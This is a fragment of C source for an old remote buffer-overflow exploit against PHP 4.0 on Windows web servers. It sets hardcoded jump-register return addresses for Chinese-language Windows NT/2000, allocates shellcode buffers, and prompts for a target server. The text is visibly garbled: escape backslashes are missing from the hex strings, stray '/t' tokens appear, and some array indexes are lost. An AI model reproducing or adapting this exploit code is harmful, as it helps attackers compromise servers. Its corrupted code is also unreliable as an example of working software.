char eipjmpesp[] ="xb7x0exfax7f"; // push esp // ret char eipexcept[]="xb8x0exfax7F"; // ret char eipjmpesi[]="x08x88xfax7F"; char eipjmpedi[]="xbex8bxfax7F"; char eipjmpebx[]="x73x67xfax7F"; // push ebx // ret /* jmp ebx功能代码地址, 中文WINNT、中文WIN2000此地址固定 这是处于c_936.nls模块 win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。 */
char buff[BUFFSIZE]; char recvbuff[BUFFSIZE]; char shellcodebuff[0x1000]; struct sockaddr_in s_in2,s_in3; struct hostent *he; char *shellcodefnadd,*chkespadd; unsigned int sendpacketlong; // unsigned int i,j,k; unsigned char temp; int fd; u_short port,port1,shellcodeport; SOCKET d_ip; WSADATA wsaData; int offset=0; int xordatabegin; int lockintvar1,lockintvar2; char lockcharvar; int OVERADD=RETEIPADDRESS; int result;
fprintf(stderr," PHP4.0 FOR WIN32 OVERFLOW PROGRAM 2.0 ."); fprintf(stderr," copy by yuange 2000.8.16."); fprintf(stderr," wellcome to my homepage http://yuange.yeah.net ."); fprintf(stderr," welcome to http://www.nsfocus.com ."); fprintf(stderr," usage: %s <server> [webport] ", argv[0]);
if(argc <2){ fprintf(stderr," please enter the web server:"); gets(recvbuff); for(i=0;i<strlen(recvbuff);++i){ /t if(recvbuff!=' ') break; }
server=recvbuff; if(i<strlen(recvbuff)) server+=i; /* fprintf(stderr," please enter the offset(0-3):"); gets(buff); for(i=0;i<strlen(buff);++i){ /t if(buff!=' ') break; } offset=atoi(buff+i); */ }
result= WSAStartup(MAKEWORD(1, 1), &wsaData); if (result != 0) { /tfprintf(stderr, "Your computer was not connected " /t "to the Internet at the time that " /t "this program was launched, or you " /t "do not have a 32-bit " /t "connection to the Internet."); /texit(1); }